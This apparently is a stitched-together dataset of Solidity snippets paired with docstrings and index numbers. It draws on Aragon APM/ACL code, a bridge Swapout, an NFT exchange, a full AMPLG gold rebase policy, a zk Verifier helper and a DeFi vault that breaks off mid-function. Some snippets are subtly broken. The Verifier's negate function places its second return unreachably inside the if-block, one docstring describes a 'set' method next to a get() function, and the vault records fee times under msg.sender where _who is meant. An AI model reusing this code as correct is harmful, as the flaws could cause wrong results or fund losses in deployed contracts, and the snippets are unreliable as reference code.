APMRegistry apm = APMRegistry(dao.newAppInstance(keccak256(node, keccak256(APM_APP_NAME)), registryBase));
// APMRegistry controls Repos
dao.setApp(namespace, keccak256(node, keccak256(REPO_APP_NAME)), repoBase);
DeployAPM(node, apm);
// Grant permissions needed for APM on ENSSubdomainRegistrar
acl.createPermission(apm, ensSub, ensSub.CREATE_NAME_ROLE(), _root);
acl.createPermission(apm, ensSub, ensSub.POINT_ROOTNODE_ROLE(), _root);
// allow apm to create permissions for Repos in Kernel
bytes32 permRole = acl.CREATE_PERMISSIONS_ROLE();
acl.grantPermission(apm, acl, permRole);
// Initialize
ens.setOwner(node, ensSub);
ensSub.initialize(ens, node);
apm.initialize(ensSub);
uint16[3] memory firstVersion;
firstVersion[0] = 1;
acl.createPermission(this, apm, apm.CREATE_REPO_ROLE(), this);
apm.newRepoWithVersion(APM_APP_NAME, _root, firstVersion, registryBase, b("ipfs:apm"));
apm.newRepoWithVersion(ENS_SUB_APP_NAME, _root, firstVersion, ensSubdomainRegistrarBase, b("ipfs:enssub"));
apm.newRepoWithVersion(REPO_APP_NAME, _root, firstVersion, repoBase, b("ipfs:repo"));
configureAPMPermissions(acl, apm, _root);
// Permission transition to _root
acl.setPermissionManager(_root, dao, dao.APP_MANAGER_ROLE());
acl.revokePermission(this, acl, permRole);
acl.grantPermission(_root, acl, permRole);
acl.setPermissionManager(_root, acl, permRole);
return apm;
}
function b(string memory x) internal pure returns (bytes memory y) {
y = bytes(x);
}
// Factory can be subclassed and permissions changed
function configureAPMPermissions(ACL _acl, APMRegistry _apm, address _root) internal {
_acl.grantPermission(_root, _apm, _apm.CREATE_REPO_ROLE());
_acl.setPermissionManager(_root, _apm, _apm.CREATE_REPO_ROLE());
}
}
|
Grants a permission with parameters if allowed. This requires `msg.sender` to be the permission manager Grants `_entity` the ability to perform actions of role `_role` on `_app` _entity Address of the whitelisted entity that will be able to perform the role _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) _role Identifier for the group of actions in app given access to perform _params Permission parameters/
|
function grantPermissionP(address _entity, address _app, bytes32 _role, uint256[] _params)
onlyPermissionManager(_app, _role)
public
{
require(!hasPermission(_entity, _app, _role));
bytes32 paramsHash = _params.length > 0 ? _saveParams(_params) : EMPTY_PARAM_HASH;
_setPermission(_entity, _app, _role, paramsHash);
}
| 1,637,516
|
./full_match/5/0x36dA0acb4E789694b12671b0E6C02Fab4Ce059C2/sources/browser/Storage.sol
|
Create a method "set" that stores the value 5 in variable 'n'/ Returns value of 'n'/
|
function get() public view returns (uint256){
return n;
}
| 1,897,025
|
./full_match/42220/0xB0B86Dd967655728218b7b87b10051A60758af82/sources/contracts/utils/MultiChainWrapper.sol
|
impl IBridge `Swapout`
|
function Swapout(uint256 amount, address bindaddr)
external
whenNotPaused(PAUSE_BRIDGE_ROLE)
returns (bool)
{
require(bindaddr != address(0), "zero bind address");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
| 16,355,316
|
./full_match/4/0x15Ad69283Cb880B4ce6a5861bB904fa20F6CD404/sources/deployed_contracts/flattened_contracts/Exchange.sol
|
transfer from taker to maker because order is an offer
|
function acceptOffer(Order memory order, bytes memory signature) internal virtual {
basicValidation(order.assetType, order.royaltyPercentage, order.royaltyRecipient,
order.payeeCount, order.platformFees, order.storeFees);
require(order.orderType == OrderType.Offer, "Ex: Order type should be 2 (Offer)");
require(order.expiresAt > block.timestamp, "Ex: Offer has expired");
validateOrderSignAndMarkAsClosed(order, signature);
transferTokenToBuyer(order.assetType, order.tokenAddress, order.tokenId,
order.tokenQuantity, order.taker, order.maker);
distributeRevenue(order.price, order.maker, order, order.erc20PaymentContract);
emit Sale(order);
}
| 12,328,169
|
// SPDX-License-Identifier: MIT
/*
_ __ __ ____ _ ____ _ _ _
/ \ | \/ | _ \| | / ___| ___ | | __| | (_) ___
/ _ \ | |\/| | |_) | | | | _ / _ \| |/ _` | | |/ _ \
/ ___ \| | | | __/| |__| |_| | (_) | | (_| | _ | | (_) |
/_/ \_\_| |_|_| |_____\____|\___/|_|\__,_| (_) |_|\___/
Ample Gold $AMPLG is a goldpegged defi protocol that is based on Ampleforths elastic tokensupply model.
AMPLG is designed to maintain its base price target of 0.01g of Gold with a progammed inflation adjustment (rebase).
Forked from Ampleforth: https://github.com/ampleforth/uFragments (Credits to Ampleforth team for implementation of rebasing on the ethereum network)
GPL 3.0 license
AMPLG_GoldPolicy.sol - AMPLG Gold Orchestrator Policy
*/
pragma solidity ^0.6.12;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
/**
* @title Various utilities useful for uint256.
*/
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
/**
* @dev Safely converts a uint256 to an int256.
*/
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IAMPLG {
function totalSupply() external view returns (uint256);
function rebaseGold(uint256 epoch, int256 supplyDelta) external returns (uint256);
}
interface IOracle {
function getData() external view returns (uint256, bool);
}
interface IGoldOracle {
function getGoldPrice() external view returns (uint256, bool);
function getMarketPrice() external view returns (uint256, bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title AMPLG $AMPLG Gold Supply Policy
* @dev This is the extended orchestrator version of the AMPLG $AMPLG Ideal Gold Pegged DeFi protocol aka Ampleforth Gold ($AMPLG).
* AMPLG operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable gold unit price against PAX gold.
*
* This component regulates the token supply of the AMPLG ERC20 token in response to
* market oracles and gold price.
*/
contract AMPLGGoldPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
uint256 goldPrice,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
IAMPLG public amplg;
// Gold oracle provides the gold price and market price.
IGoldOracle public goldOracle;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 18;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
constructor() public {
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 6;
minRebaseTimeIntervalSec = 12 hours;
lastRebaseTimestampSec = 0;
epoch = 0;
}
/**
* @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase.
*
*/
function canRebase() public view returns (bool) {
return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
*/
function rebase() external {
require(canRebase(), "AMPLG Error: Insufficient time has passed since last rebase.");
require(tx.origin == msg.sender);
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 curGoldPrice, uint256 marketPrice, int256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = amplg.rebaseGold(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, marketPrice, curGoldPrice, supplyDelta, now);
}
/**
* @notice Calculates the supplyDelta and returns the current set of values for the rebase
*
* @dev The supply adjustment equals the formula
* (current price – base target price in usd) * total supply / (base target price in usd * lag
* factor)
*/
function getRebaseValues() public view returns (uint256, uint256, int256, int256) {
uint256 curGoldPrice;
bool goldValid;
(curGoldPrice, goldValid) = goldOracle.getGoldPrice();
require(goldValid);
uint256 marketPrice;
bool marketValid;
(marketPrice, marketValid) = goldOracle.getMarketPrice();
require(marketValid);
int256 goldPriceSigned = curGoldPrice.toInt256Safe();
int256 marketPriceSigned = marketPrice.toInt256Safe();
int256 rate = marketPriceSigned.sub(goldPriceSigned);
if (marketPrice > MAX_RATE) {
marketPrice = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(marketPrice, curGoldPrice);
if (supplyDelta > 0 && amplg.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(amplg.totalSupply())).toInt256Safe();
}
return (curGoldPrice, marketPrice, rate, supplyDelta);
}
/**
* @return Computes the total supply adjustment in response to the market price
* and the current gold price.
*/
function computeSupplyDelta(uint256 marketPrice, uint256 curGoldPrice)
internal
view
returns (int256)
{
if (withinDeviationThreshold(marketPrice, curGoldPrice)) {
return 0;
}
//(current price – base target price in usd) * total supply / (base target price in usd * lag factor)
int256 goldPrice = curGoldPrice.toInt256Safe();
int256 marketPrice = marketPrice.toInt256Safe();
int256 delta = marketPrice.sub(goldPrice);
int256 lagSpawn = marketPrice.mul(rebaseLag.toInt256Safe());
return amplg.totalSupply().toInt256Safe()
.mul(delta).div(lagSpawn);
}
/**
* @notice Sets the rebase lag parameter.
* @param rebaseLag_ The new rebase lag parameter.
*/
function setRebaseLag(uint256 rebaseLag_)
external
onlyOwner
{
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
/**
* @notice Sets the parameter which control the timing and frequency of
* rebase operations the minimum time period that must elapse between rebase cycles.
* @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase
* operations, in seconds.
*/
function setRebaseTimingParameter(uint256 minRebaseTimeIntervalSec_)
external
onlyOwner
{
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
}
/**
* @param rate The current market price
* @param targetRate The current gold price
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
internal
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
/**
* @notice Sets the reference to the AMPLG token governed.
* Can only be called once during initialization.
*
* @param amplg_ The address of the AMPLG ERC20 token.
*/
function setAMPLG(IAMPLG amplg_)
external
onlyOwner
{
require(amplg == IAMPLG(0));
amplg = amplg_;
}
/**
* @notice Sets the reference to the AMPLG $AMPLG oracle.
* @param _goldOracle The address of the AMPLG oracle contract.
*/
function setGoldOracle(IGoldOracle _goldOracle)
external
onlyOwner
{
goldOracle = _goldOracle;
}
}
|
Initiates a new rebase operation, provided the minimum time period has elapsed./
|
function rebase() external {
require(canRebase(), "AMPLG Error: Insufficient time has passed since last rebase.");
require(tx.origin == msg.sender);
lastRebaseTimestampSec = now;
epoch = epoch.add(1);
(uint256 curGoldPrice, uint256 marketPrice, int256 targetRate, int256 supplyDelta) = getRebaseValues();
uint256 supplyAfterRebase = amplg.rebaseGold(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, marketPrice, curGoldPrice, supplyDelta, now);
}
| 1,575,238
|
./full_match/11155111/0x0E69270D4633f71F6BF449a75e3c2671B010AE80/sources/project_/contracts/Verifier.sol
|
return The negation of p, i.e. p.plus(p.negate()) should be zero./ The prime q in the base field F_q for G1
|
function negate(G1Point memory p) internal pure returns (G1Point memory) {
if (p.X == 0 && p.Y == 0) {
return G1Point(0, 0);
return G1Point(p.X, PRIME_Q - (p.Y % PRIME_Q));
}
}
| 3,827,722
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "hardhat/console.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol";
import "./interface/IDebtor.sol";
import "./interface/ICreditor.sol";
import "./interface/ISwap.sol";
import "./interface/ISelfCompoundingYield.sol";
import "./interface/ITimelockRegistryUpgradeable.sol";
import "./reward/interfaces/IStakingMultiRewards.sol";
import "./inheritance/StorageV1ConsumerUpgradeable.sol";
/**
Vault is a baseAsset lender.
Vehicles are borrowers that put money to work.
The design logic of the system:
Each vault and vehicle is treated as an independent entity.
Vault is willing to lend money, but with limited trust on the vehicles
Vehicles is willing to borrow money, but only when it is beneficial to how it is using.
Vehicle can potentially borrow from multiple vaults.
Its sole purpose being making money to repay debt and share profits to all stakeholders.
The vault focuses on:
1) Deciding where the money should be lended to.
2) Liquidating the returned baseAsset to longAsset.
*/
contract VaultUpgradeable is StorageV1ConsumerUpgradeable, ERC20Upgradeable, ICreditor {
using SafeERC20Upgradeable for IERC20Upgradeable;
using SafeMathUpgradeable for uint256;
using MathUpgradeable for uint256;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
event Deposit(address indexed _who, uint256 _amount);
event Withdraw(address indexed _who, uint256 _amount);
event Longed(uint256 totalDeposit, uint256 baseProfit, uint256 longedProfit);
event WithdrawFeeUpdated(uint256 _withdrawFeeRatio, uint256 _withdrawalFeeHalfDecayPeriod, uint256 _withdrawalFeeWaivedPeriod);
// Vault lends, vehicle borrows
// governance/admin to decide the maximum funds that could be invested
// in an IV.
// Operator push and pull the funds arbitrarily within these boundaries.
// That makes it easier to decentralize Operator.
struct VehicleInfo {
// Debt related
uint256 baseAssetDebt; // the amount of baseAsset that was borrowed by the vehicle
// how much the vault is willing to lend
bool disableBorrow; // if the vehicle can continue to borrow assets
uint256 lendMaxBps; // the vault is willing to lend `min(lendRatioNum * totalBaseAsset, borrowCap)`
uint256 lendCap; // the maximum amount that the vault is willing to lend to the vehicle
}
// users deposit baseAsset
// the accrued interest is returned with longAsset
address public baseAsset;
address public longAsset;
// if `selfCompoundingLongAsset` is address(0),
// then it is not self compounding, we distribute long asset to the pool as it is
address public selfCompoundingLongAsset;
// vehicle
mapping (address => VehicleInfo) public vInfo;
// We disable deposit and withdraw in the same block by default to prevent attacks
// However, we could allow it after the external protocol behaviour has been verified
mapping(address => bool) public flashDepositAndWithdrawAllowed;
mapping(address => uint256) public lastActivityBlock;
// By default, there is a withdrawal fee applied on users
// This flag allows us to exempt withdrawal fees on certain addresses
// This is useful for protocol collaboration
mapping(address => bool) public noWithdrawalFee;
mapping(address => uint256) public lastFeeTime;
// An artificial cap for experimental vaults
uint256 public depositCap;
// flag that determines if there's withdrawal fee
mapping(address => uint256) public withdrawalFeeOccured;
uint256 public withdrawFeeRatio; // Disable withdrawFee for newly deposted asset if it is set to 0.
uint256 public withdrawalFeeHalfDecayPeriod; // Disable withdrawFee while withdrawing if it is set to 0.
uint256 public withdrawalFeeWaivedPeriod;
// Unit of the withdrawl fee ratio and the lending cap.
uint256 constant BPS_UNIT = 10000;
// Our withdrawal fee will decay 1/2 for every decay period
// e.g. if decay period is 2 weeks, the maximum wtihdrawal fee after two weeks is 0.5%
// after 4 weeks: 0.25%.
// Maximum cap of allowed withdrawl fee. [Unit: BPS_UNIT]
uint256 constant WITHDRAWAL_FEE_RATIO_CAP = 100; // 1% max
// Investment vehicles that generates the interest
EnumerableSetUpgradeable.AddressSet investmentVehicles;
/// True if deposit is enabled.
bool public vaultDepositEnabled;
// Address of the reward pool (StakingMultiRewardsUpgradable)
address rewardPool;
modifier ifVaultDepositEnabled() {
require(vaultDepositEnabled, "Vault: Deposit not enabled");
require(totalSupply() <= depositCap, "Vault: Deposit cap reached");
_;
}
modifier onlyDebtor() {
require(isDebtor(msg.sender), "Vault: caller is not a debtor");
_;
}
modifier flashDepositAndWithdrawDefence() {
if(!flashDepositAndWithdrawAllowed[msg.sender]){
require(lastActivityBlock[msg.sender] != block.number, "Vault: flash forbidden");
}
lastActivityBlock[msg.sender] = block.number;
_;
}
modifier timelockPassed(address iv) {
// if timelock registry is not set, then timelock is not yet activated.
if(registry() != address(0)) {
// Check the timelock if it has been enabled.
// This is present to ease initial vault deployment and setup, once a vault has been setup and linked properly
// with the IVs, then we could proceed and enable the timelock.
if(ITimelockRegistryUpgradeable(registry()).vaultTimelockEnabled(address(this))) {
require(ITimelockRegistryUpgradeable(registry()).isIVActiveForVault(address(this), iv), "Vault: IV not available yet");
}
}
_;
}
/// Checks if the target address is debtor
/// @param _target target address
/// @return true if target address is debtor, false if not
function isDebtor(address _target) public view returns(bool) {
return investmentVehicles.contains(_target);
}
/// Initializes the contract
function initialize(
address _store,
address _baseAsset,
address _longAsset,
uint256 _depositCap
) public virtual initializer {
require(_baseAsset != _longAsset, "Base asset cannot be the same as long asset");
super.initialize(_store);
baseAsset = _baseAsset;
longAsset = _longAsset;
depositCap = _depositCap;
vaultDepositEnabled = true;
// All vaults have 0 withdraw fee in the beginning.
// to facilitate kickstarting the vault
_setWihdrawFeeParameter(0, 2 weeks, 6 weeks);
__ERC20_init(
string(abi.encodePacked("lVault: ", ERC20Upgradeable(_baseAsset).name(), "=>", ERC20Upgradeable(_longAsset).name())),
string(abi.encodePacked("long_", ERC20Upgradeable(_baseAsset).symbol(), "_", ERC20Upgradeable(_longAsset).symbol()))
);
}
/// Set the reward pool for distributing the longAsset.
///
/// See Also: StakingMultiRewardsUpgradable
/// @param _rewardPool Address of the reward pool.
function setRewardPool(address _rewardPool) public adminPriviledged {
rewardPool = _rewardPool;
}
// Deposit triggers investment when the investment ratio is under some threshold
/// Deposit baseAsset into the vault
/// @param amount The amount of baseAsset deposited from the user
function deposit(uint256 amount) public virtual {
_deposit(msg.sender, msg.sender, amount);
}
/// Deposit baseAsset into the vault for targetAccount.
/// @param targetAccount Target account to deposit for
/// @param amount The amount of baseAsset deposited from the user
function depositFor(address targetAccount, uint256 amount)
public virtual
{
_deposit(msg.sender, targetAccount, amount);
}
function _deposit(address assetFrom, address shareTo, uint256 amount)
internal virtual
ifVaultDepositEnabled
flashDepositAndWithdrawDefence
{
emit Deposit(shareTo, amount);
IERC20Upgradeable(baseAsset).safeTransferFrom(
assetFrom,
address(this),
amount
);
// Any deposits would reset the deposit time to the newest
_mint(shareTo, amount);
_accountWithdrawFeeAtDeposit(shareTo, amount);
}
function _accountWithdrawFeeAtDeposit(address _who, uint256 _amount) internal {
if(!noWithdrawalFee[_who] && withdrawFeeRatio > 0) {
uint256 withdrawFeeNewlyOccured = _amount.mul(withdrawFeeRatio).div(BPS_UNIT);
withdrawalFeeOccured[_who] = withdrawlFeePending(_who).add(withdrawFeeNewlyOccured);
lastFeeTime[msg.sender] = block.timestamp;
}
}
/// Withdraw the baseAsset from the vault.
/// Always withdraws 1:1, then distributes withdrawal fee
/// because the interest has already been paid in other forms.
/// The actual amount of the baseAsset user received is subjet to the pending withdraw fee.
/// @param amount Amount of the baseAsset to be withdrawed from the vault.
function withdraw(uint256 amount) public virtual flashDepositAndWithdrawDefence {
// The withdrawal starts from the first investmentVehicle
// This implies that we have the concept of investment depth:
// The more profitable ones are the ones with higher priority
// and would keep them deeper in the stack (`i` larger means deeper)
// There MUST be at least one investmentVehicle, thus it is ok not to use SafeMath here
uint256 balance = IERC20Upgradeable(address(this)).balanceOf(msg.sender);
require(balance >= amount, "msg.sender doesn't have that much balance.");
uint256 baseAssetBalanceInVault = IERC20Upgradeable(baseAsset).balanceOf(address(this));
if (investmentVehicles.length() > 0) {
for (
uint256 i = 0; // withdraw starts from the first vehicle
i < investmentVehicles.length() && baseAssetBalanceInVault < amount; // until it reaches the end, or if we got enough
i++
) {
_withdrawFromIV(investmentVehicles.at(i), amount - baseAssetBalanceInVault);
// Update `baseAssetBalanceInVault`
baseAssetBalanceInVault = IERC20Upgradeable(baseAsset).balanceOf(address(this));
}
}
uint256 sendAmount = MathUpgradeable.min(amount, baseAssetBalanceInVault);
_withdrawSendwithFee(msg.sender, sendAmount);
emit Withdraw(msg.sender, sendAmount);
_burn(msg.sender, sendAmount);
}
function _withdrawSendwithFee(address _who, uint256 _sendAmount) internal {
uint256 _balance = IERC20Upgradeable(address(this)).balanceOf(msg.sender);
uint256 _withdrawalFeePending = withdrawlFeePending(_who);
uint256 sendAmountActual = _sendAmount;
if(_withdrawalFeePending > 0)
{
uint256 withdrawFee = _withdrawalFeePending.mul(_sendAmount).div(_balance);
withdrawalFeeOccured[_who] = _withdrawalFeePending.sub(withdrawFee);
lastFeeTime[msg.sender] = block.timestamp;
sendAmountActual = _sendAmount.sub(withdrawFee);
IERC20Upgradeable(address(baseAsset)).safeTransfer(treasury(), withdrawFee);
}
IERC20Upgradeable(address(baseAsset)).safeTransfer(_who, sendAmountActual);
}
/// Withdral all the baseAsset from an IV.
/// @param _iv Address of the IV.
function withdrawAllFromIV(address _iv) public opsPriviledged {
_withdrawFromIV(_iv, baseAssetDebtOf(_iv));
}
/// Withdral ceterain amount of the baseAsset from an IV.
/// @param _iv Address of the IV.
/// @param _amount Amount of the baseAsset to be withdrawed.
function withdrawFromIV(address _iv, uint256 _amount) public opsPriviledged {
_withdrawFromIV(_iv, _amount);
}
/// Withdral ceterain amount of the baseAsset from multiple IVs.
/// See withdrawFromIV for details.
function withdrawFromIVs(address[] memory _ivs, uint256[] memory _amounts) public opsPriviledged {
for(uint256 i = 0; i < _ivs.length; i++) {
_withdrawFromIV(_ivs[i], _amounts[i]);
}
}
/// Withdral all the baseAsset from multiple IVs.
/// See withdrawAllFromIV for details.
function withdrawAllFromIVs(address[] memory _ivs) public opsPriviledged {
for(uint256 i = 0; i < _ivs.length; i++) {
_withdrawFromIV(_ivs[i], baseAssetDebtOf(_ivs[i]));
}
}
function _withdrawFromIV(address iv, uint256 amount) internal {
uint256 beforeWithdraw = IERC20Upgradeable(baseAsset).balanceOf(address(this));
// request amount
IDebtor(iv).withdrawAsCreditor(
amount
);
// refresh balance In Vault
uint256 afterWithdraw = IERC20Upgradeable(baseAsset).balanceOf(address(this));
uint256 actuallyWithdrawn = afterWithdraw.sub(beforeWithdraw);
_accountingDebtRepayment(iv, actuallyWithdrawn);
}
function _accountingDebtRepayment(address _debtor, uint256 repaymentAmountInBase) internal {
if(repaymentAmountInBase <= vInfo[_debtor].baseAssetDebt){
vInfo[_debtor].baseAssetDebt = (vInfo[_debtor].baseAssetDebt).sub(repaymentAmountInBase);
} else {
// this handles the anomaly case where we got more repayment than the debt.
vInfo[_debtor].baseAssetDebt = 0;
}
}
function _accountingFundsLendingOut(address _debtor, uint256 _fundsSentOutInBase) internal {
vInfo[_debtor].baseAssetDebt = (vInfo[_debtor].baseAssetDebt).add(_fundsSentOutInBase);
}
/// Invest all the available baseAsset in the vault.
function investAll() public opsPriviledged {
// V1 only invests into the default vehicle `investmentVehicles[0]`
// Vault only pushes funds into the vehicle
// but the money is not really at work, real investment has to
// happen under the hood
uint256 allAmount = IERC20Upgradeable(address(baseAsset)).balanceOf(address(this));
_investTo(investmentVehicles.at(0), allAmount);
}
/// Invest certain amount of the baseAsset in the vault to an IV.
/// @param _target Address of the IV.
/// @param _amount Amount of the baseAsset to be invested.
function investTo(address _target, uint256 _amount) public opsPriviledged {
_investTo(_target, _amount);
}
/// Invest certain amount of the baseAsset in the vault to multiple IVs.
function investToIVs(address[] memory _targets, uint256[] memory _amounts) public opsPriviledged {
for(uint256 i = 0 ; i < _targets.length; i++) {
_investTo(_targets[i], _amounts[i]);
}
}
/// Migrate certain amount of the baseAsset from one IV to another.
/// @param _fromIv Address of the source IV.
/// @param _toIv Address of the destination IV.
/// @param _pullAmount Amount of the baseAsset to be pulled out from old IV.
/// @param _pushAmount Amount of the baseAsset to be pushed into the new IV.
function migrateFunds(address _fromIv, address _toIv, uint256 _pullAmount, uint256 _pushAmount) public opsPriviledged {
_withdrawFromIV(_fromIv, _pullAmount);
_investTo(_toIv, _pushAmount);
}
/// Calculate the lending capacity of an IV.
/// This vault cannot lend baseAsset with amount more than the lending capacity.
/// @param _target Address of the IV.
/// @return Return the lending capacity. (Unit: BPS_UNIT)
function effectiveLendCapacity(address _target) public view returns (uint256) {
// totalSupply is the amount of baseAsset the vault holds
uint256 capByRatio = totalSupply().mul(vInfo[_target].lendMaxBps).div(BPS_UNIT);
return MathUpgradeable.min(
vInfo[_target].lendCap, // hard cap
capByRatio
);
}
function _investTo(address _target, uint256 _maxAmountBase) internal virtual returns(uint256){
require(isDebtor(_target), "Vault: investment vehicle not registered");
// The maximum amount that we will attempt to lend out will be the min of
// the provided argument and the effective lend cap
_maxAmountBase = MathUpgradeable.min(effectiveLendCapacity(_target), _maxAmountBase);
IERC20Upgradeable(address(baseAsset)).safeApprove(_target, 0);
IERC20Upgradeable(address(baseAsset)).safeApprove(_target, _maxAmountBase);
uint256 baseBefore = IERC20Upgradeable(address(baseAsset)).balanceOf(address(this));
uint256 reportInvested = IDebtor(address(_target)).askToInvestAsCreditor(
_maxAmountBase
);
uint256 baseAfter = IERC20Upgradeable(address(baseAsset)).balanceOf(address(this));
